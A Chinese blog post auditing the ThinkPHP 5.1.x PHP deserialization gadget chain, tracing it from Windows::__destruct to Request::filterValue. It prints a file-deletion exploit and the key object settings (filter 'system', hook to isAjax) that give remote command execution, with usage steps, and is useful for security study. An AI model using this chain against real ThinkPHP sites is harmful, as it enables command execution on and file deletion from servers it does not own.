• thinkphp5.1.X反序列化利用链审计


    0x00 前言

    反序列化基础知识:

    https://www.cnblogs.com/wangtanzhi/p/12252993.html

    https://www.cnblogs.com/wangtanzhi/p/12637819.html

    0x01

    compose安装tp框架

    先记录一下看了一晚上的pop利用链,明天继续审

    整个漏洞起点:

    hinkphplibrary hinkprocesspipeswindows.php的__destruct魔法函数。

    public function __destruct()
    {
    	$this->close();
    	$this->removeFiles();
    }
    

    在此页面搜索removeFiles()

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }
    

    可以看到有一个unlink函数,如果我们能够控制$filename,就可以达到任意文件删除。
    exp:

    <?php
    namespace thinkprocesspipes;
    class Pipes{
    }
    
    class Windows extends Pipes
    {
        private $files = [];
    
        public function __construct()
        {
            $this->files=['D:PHPSTUDY2018PHPTutorialWWW	p5shell.php'];
        }
    }
    
    echo base64_encode(serialize(new Windows()));
    

    自然而然,我们开始寻找RCE点看file_exists这个函数,
    自然而然,我们开始看file_exists这个函数,

    $filename会被作为字符串处理。

    而__toString 当一个对象在反序列化后被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。搜索__toString方法。这里我们选择 thinkModel 类来触发。由于该类为抽象类,所以我们后续在构造 EXP 的时候得使用其子类,例如: thinkModelPivot 类。最终我们选择触发的对象是一个Pivot对象,此时便会触发__toString方法。
    全局搜索__toString

    这里有很多地方用到,我们跟进 hinkphplibrary hinkmodelconcernConversion.php的Conversion类的__toString()方法,这里调用了一个toJson()方法。然后跟进toJson()方法。

    这里调用了toArray()方法,然后转换为json字符串,继续跟进toArray()。
    hinkphplibrary hinkmodelconcernConversion.php中

    分析一下前面三个遍历基本上不会干扰到我们整个利用链
    我们直接看对$this->append的遍历:

     // 追加属性(必须定义获取器)
            if (!empty($this->append)) {
                foreach ($this->append as $key => $name) {
                    if (is_array($name)) {
                        // 追加关联对象属性
                        $relation = $this->getRelation($key);
    
                        if (!$relation) {
                            $relation = $this->getAttr($key);
                            if ($relation) {
                                $relation->visible($name);
                            }
                        }
    

    我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)的点

    这里的$this->append是我们可控的
    这个方法中的值怎么来的?分析代码继续跟进。
    现跟进getRelation方法,
    hinkphplibrary hinkmodelconcernRelationShip.php

    public function getRelation($name = null)
        {
            if (is_null($name)) {
                return $this->relation;
            } elseif (array_key_exists($name, $this->relation)) {
                return $this->relation[$name];
            }
            return;
        }
    

    这里的话 是一个死局,看到这里其实就可以换下一个点了,分析一下代码:
    首先如果$name为空,他就直接返回了结果,我们的pop链就gg,然后呢不为空,你还得是数组,而且返回了结果一样gg。继续看toArray()函数中的其他方法。
    我们可以让$this->relation中,返回空,这样就跳过了getRelation所在的if分支。在下一个if判断中

    找到$relation->visible($name)

    先看$relation 和 $name是否可控,追溯这个变量可以发现,$name变量由$this->append获取再看$relation变量由getAttr方法中获取
    跟进getAttr():

    	hinkphplibrary	hinkmodelconcernAttribute.php
    
     public function getAttr($name, &$item = null)
        {
            try {
                $notFound = false;
                $value    = $this->getData($name);
            } catch (InvalidArgumentException $e) {
                $notFound = true;
                $value    = null;
            }
    

    跟进getData:
    hinkphplibrary hinkmodelconcernAttribute.php

    
     public function getData($name = null)
        {
            if (is_null($name)) {//$name 为空返回data
                return $this->data;
            } elseif (array_key_exists($name, $this->data)) {//查找$name是否为data数组里的键名,因为data可控,在poc里定义为$this->data = ["lin"=>new Request()]; 所以存在
                return $this->data[$name];//返回结果为new Request()
            } elseif (array_key_exists($name, $this->relation)) {
                return $this->relation[$name];
            }
            throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
        }
    
    
    

    于是可以通过控制$this->data来控制$relation变量,$relation可控。

    需要注意的一点是这里类的定义使用的是Trait而不是class。

    自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。

    我们可以在 hinkphplibrary hinkModel.php中找到这样一个类

    梳理一下目前我们可控制的变量

    $files位于类Windows
    $append位于类Conversion
    $data位于类Attribute

    代码执行点分析

    我们现在缺少一个进行代码执行的点
    2个方向:
    1:POP CHAIN
    看一看有没有其他类中调用了visible方法
    通过寻找相同名字的函数,再与类中的敏感函数和属性相关联
    寻找后并没有。。
    2:__call方法(调用类中不存在的方法会被执行)

    一般PHP中的__call方法都是用来进行容错或者是动态调用。__call一般会存在__call_user_func和__call_user_func_array,php代码执行的终点经常选择这里.

    全局搜索function __call,我们可以利用的是Request类,来看一下__call()方法

    在/thinkphp/library/think/Request.php,找到一个__call函数, 使用了一个array取值

    public function __call($method, $args)
        {
            if (array_key_exists($method, $this->hook)) {
                array_unshift($args, $this);
                return call_user_func_array($this->hook[$method], $args);
            }
            throw new Exception('method not exists:' . static::class . '->' . $method);
        }
    
    

    我们可以利用这里call_user_func_array方法进行命令执行

    这里我们只能控制$args
    但是$args会被array_unshift(这向数组插入新元素时会将新数组的值将插入到数组的开头),这样的话方法无论如何都会执行失败,所以这里不能直接利用。
    继续看$this->hook[$method]我们可以控制,
    所以我们可以构造一个hook数组"visable"=>"method",比如: $hook= {“visable”=>”任意method”}
    但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。
    也就是说array_unshift($args, $this);会把$this放到$arg数组的第一个元素
    这种情况下我们是构造不出可用的payload的。
    我们需要找一个不受$args变量影响的方法

    目前我们所能控制的内容就是

    在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

    代码位于第1459行。

    
      private function filterValue(&$value, $key, $filters)
        {
            $default = array_pop($filters);
            foreach ($filters as $filter) {
                if (is_callable($filter)) {
                    // 调用函数或者方法过滤
                    $value = call_user_func($filter, $value);
    
    
    

    但这里的$value不可控,所以我们需要找到可以控制$value的点
    input函数可以满足条件
    这里有一个小知识点:
    thinkphp中的Request类中的input函数
    链接
    http://blog.ydspoplar.top/2020/01/28/thinkphp-序列化5-1-x/
    我们先搜索一下

    
     public function input($data = [], $name = '', $default = null, $filter = '')
        {
            if (false === $name) {
                // 获取原始数据
                return $data;
            }
            $name = (string) $name;
            if ('' != $name) {
                // 解析name
                if (strpos($name, '/')) {
                    list($name, $type) = explode('/', $name);
                }
                $data = $this->getData($data, $name);
                if (is_null($data)) {
                    return $default;
                }
                if (is_object($data)) {
                    return $data;
                }
            }
            // 解析过滤器
            $filter = $this->getFilter($filter, $default);
            if (is_array($data)) {
                array_walk_recursive($data, [$this, 'filterValue'], $filter);
                if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                    // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                    $this->arrayReset($data);
                }
            } else {
                $this->filterValue($data, $name, $filter);
            }
            if (isset($type) && $data !== $default) {
                // 强制类型转换
                $this->typeCast($data, $type);
            }
            return $data;
        }
    

    这里$filter可控,data参数不可控,而且$name = (string) $name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数

    在input中可能引起RCE的就是array_walk_recursive函数,也就是执行了filterValue($value,$key,$filter)我们在追溯一下filterValue函数

    
     private function filterValue(&$value, $key, $filters)
        {
            $default = array_pop($filters);
            foreach ($filters as $filter) {
                if (is_callable($filter)) {
                    // 调用函数或者方法过滤
                    $value = call_user_func($filter, $value);
    
    

    这里调用了call_user_func函数

    所以input($data = [], $name = '', $default = null, $filter = '')就相当于call_user_func($filter,$data)

    但是input函数的参数不可控,所以我们还得继续寻找可控点。我们继续找一个调用input函数的地方。搜索我们找到了param函数

    public function param($name = '', $default = null, $filter = '')
        {
            if (!$this->mergeParam) {
                $method = $this->method(true);
                // 自动获取请求变量
                switch ($method) {
                    case 'POST':
                        $vars = $this->post(false);
                        break;
                    case 'PUT':
                    case 'DELETE':
                    case 'PATCH':
                        $vars = $this->put(false);
                        break;
                    default:
                        $vars = [];
                }
                // 当前请求参数和URL地址中的参数合并
                $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
                $this->mergeParam = true;
            }
            if (true === $name) {
                // 获取包含文件上传信息的数组
                $file = $this->file();
                $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
                return $this->input($data, '', $default, $filter);
            }
            return $this->input($this->param, $name, $default, $filter);
        }
    

    重点关注这1行:

    array_merge($this->param, $this->get(false), $vars, $this->route(false));
    

    我们依次跟进

    param函数可以获得$_GET数组并赋值给$this->param。
    这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data参数可控,也就是call_user_func的$value,现在差一个条件,那就是name是字符串,继续回溯找调用param函数的地方。找到了isAjax函数

     public function isAjax($ajax = false)
        {
            $value  = $this->server('HTTP_X_REQUESTED_WITH');
            $result = 'xmlhttprequest' == strtolower($value) ? true : false;
            if (true === $ajax) {
                return $result;
            }
            $result           = $this->param($this->config['var_ajax']) ? true : $result;
            $this->mergeParam = false;
            return $result;
        }
    

    在isAjax函数中,我们可以控制$this->config['var_ajax'],$this->config['var_ajax']可控就意味着param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。

    看到了$name可控,我们重新整和一下上面的分析,那些可控参数我们怎么控制的:

    回到input函数中

    $data = $this->getData($data, $name);
    

    $name的值来自于$this->config['var_ajax'],我们跟进getData函数。

    这里$data直接等于$data[$val]了
    $data = $data[$val] = $data[$name]
    前面已经说过了,$data, $name可控,
    所以$data可控
    前面已经说过了input($data = [], $name = '', $default = null, $filter = '')就相当于call_user_func($filter,$data)
    这里还差$filter
    当然这里的$filter是可控的:
    这里再多说一下我们利用的间接调用filterValue实现RCE:
    如果要实现代码执行,我们需要完全控制call_user_func的参数,但是如果我们直接在__call方法中直接调用filterValue(),那么现在$value的值始终是[$this,xxx,xxx]形式的,导致我们无法实现RCE,所以我们是不能直接调用filterValue函数实现RCE的

    跟进getFilter函数

    这里的$filter来自于this->filter,我们需要定义this->filter为函数名。
    我们再来看一下input函数,有这么几行代码

    if (is_array($data)) {            
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    

    这是一个回调函数,跟进filterValue函数。

    filterValue.value的值为第一个通过GET请求的值input.data,而filterValue.key为GET请求的键input.name,并且filterValue.filters就等于input.filter的值。

    到此,整个pop链构造完成

    poc的利用过程

    这里不放poc了,网上到处是,来梳理一下利用过程:

    首先在上一步toArray()方法。创建了一个Request()对象,然后会触发poc里的__construct()方法,接着new Request()-> visible($name),该对象调用了一个不存在的方法会触发__call方法,看一下__construct()方法内容:

    function __construct(){
            $this->filter = "system";
            $this->config = ["var_ajax"=>'lin'];
            $this->hook = ["visible"=>[$this,"isAjax"]];
        }
    
    public function __call($method, $args)  //$method为不存在方法,$args为不存在方法以数组形式存的参数,此时$method = visible,$args = $name = ["calc.exe","calc"]
        {
            if (array_key_exists($method, $this->hook)) {    //查找键名$method是否存在数组hook中,满足条件
                array_unshift($args, $this);                 //将新元素插入到数组$args中,此时$args = [$this,"calc.exe","calc"]
                return call_user_func_array($this->hook[$method], $args);   //执行回调函数isAjax, ([$this,isAjax],[$this,"calc.exe","calc"])
            }
    
            throw new Exception('method not exists:' . static::class . '->' . $method);
        }
    

    接着看isAjax方法的调用过程,

    public function isAjax($ajax = false)
        {
    
            .....
            $result = $this->param($this->config['var_ajax']) ? true : $result; 
            //这里$this->config['var_ajax'] = 'lin'
            $this->mergeParam = false;
            return $result;
        }
    

    然后跟进param()方法

    public function param($name = '', $default = null, $filter = '') //$name = $this->config['var_ajax'] = 'lin'
        {
            if (!$this->mergeParam) {
                $method = $this->method(true);
    
                // 自动获取请求变量
                switch ($method) {
                    case 'POST':
                        $vars = $this->post(false);
                        break;
                    case 'PUT':
                    case 'DELETE':
                    case 'PATCH':
                        $vars = $this->put(false);
                        break;
                    default:
                        $vars = [];
                }
    
                // 当前请求参数和URL地址中的参数合并为一个数组。
                $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    
                $this->mergeParam = true;
            }
    
          .....
            return $this->input($this->param, $name, $default, $filter); //$this->param当前get请求参数数组('lin' => 'calc')、$name = $this->config['var_ajax'] = lin
        }
    

    然后跟进input()方法

    public function input($data = [], $name = '', $default = null, $filter = '')
        {         //当前请求参数数组'lin'=>'calc'、$name = $this->config['var_ajax']=lin
            if (false === $name) {
                // 获取原始数据
                return $data;
            }
    
            $name = (string) $name; //指定lin为字符串
            if ('' != $name) {
                // 解析name
                if (strpos($name, '/')) {
                    list($name, $type) = explode('/', $name);
                }
    
                $data = $this->getData($data, $name);  //这里先跟进该函数,$data = $data[$val] = $data['lin'] = calc
                 ......
    
    
                // 解析过滤器
            $filter = $this->getFilter($filter, $default);  //$filter[0=>'system',1=>$default]  ,这里先跟进该函数
    
            if (is_array($data)) {
                array_walk_recursive($data, [$this, 'filterValue'], $filter);    //回调函数filterValue ,跟进该函数,$data = filterValue.$value = calc 、 $filter = filterValue.$filters = [0->system,1->$default] 、 $name = filterValue.$key = 'lin'
              .....
            } else {
                $this->filterValue($data, $name, $filter);
            }
    
            if (isset($type) && $data !== $default) {
                // 强制类型转换
                $this->typeCast($data, $type);
            }
    
            return $data;
        }
    
    protected function getData(array $data, $name)//$data['lin'=>'calc'],$name = 'lin'
        {
            foreach (explode('.', $name) as $val) { //分割成数组['lin']
                if (isset($data[$val])) {
                    $data = $data[$val]; // 此时$data = $data['lin'] = 'calc' ,回到上面input()
                } else {
                    return;
                }
            }
    
            return $data;
        }
    
    protected function getFilter($filter, $default)  //$filter在poc里定义为system
        {
            if (is_null($filter)) {
                $filter = [];
            } else {  
                $filter = $filter ?: $this->filter;      //$filter = $this->filter = system
                if (is_string($filter) && false === strpos($filter, '/')) {
                    $filter = explode(',', $filter);     //分隔为数组['system']
                } else {
                    $filter = (array) $filter;
                }
            }
    
            $filter[] = $default;       //此时$filter[]为{ [0]=>"system" [1]=>$default },回到上面Input()
    
            return $filter;   
        }
    
    private function filterValue(&$value, $key, $filters)
        {
            $default = array_pop($filters);  //删除数组最后一个元素,此时$filters=$filter[0]=system
    
            foreach ($filters as $filter) {     //遍历数组
                if (is_callable($filter)) {     //验证变量名能否作为函数调用,system()
                    // 调用函数或者方法过滤
                    $value = call_user_func($filter, $value);    //执行回调函数system('calc');
                }
    

    验证poc

    攻击链

    
    引用自 https://xz.aliyun.com/t/6619
    	hinkphplibrary	hinkprocesspipesWindows.php - > __destruct()
    
    	hinkphplibrary	hinkprocesspipesWindows.php - > removeFiles()
    
    Windows.php: file_exists()
    
    thinkphplibrary	hinkmodelconcernConversion.php - > __toString()
    
    thinkphplibrary	hinkmodelconcernConversion.php - > toJson() 
    
    thinkphplibrary	hinkmodelconcernConversion.php - > toArray()
    
    thinkphplibrary	hinkRequest.php   - > __call()
    
    thinkphplibrary	hinkRequest.php   - > isAjax()
    
    thinkphplibrary	hinkRequest.php - > param()
    
    thinkphplibrary	hinkRequest.php - > input()
    
    thinkphplibrary	hinkRequest.php - > filterValue()
    

    首先自己构造一个利用点
    这个漏洞就是需要后期开发的时候有利用点,才能触发

    我们把payload通过POST传过去,然后通过GET请求获取需要执行的命令

    如果poc不成功换个浏览器。。可能浏览器使得我们的poc失败。

    参考

    https://paper.seebug.org/1040/#_5

    https://xz.aliyun.com/t/6619

    https://wulidecade.cn/2019/10/06/tp5-1-X反序列化漏洞分析/

  • 相关阅读:
    react-redux简单使用
    jQuery——Js与jQuery的相互转换
    移除HTML5 input在type="number"时的上下小箭头
    echarts 5.0 地图
    Vue echarts 设置初始化默认高亮
    echarts 渐变色
    隐藏滚动条css
    echarts 柱状图--圆角
    echarts 气泡图--option
    Vue 圆柱体组件
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12639659.html
Copyright © 2020-2023  润新知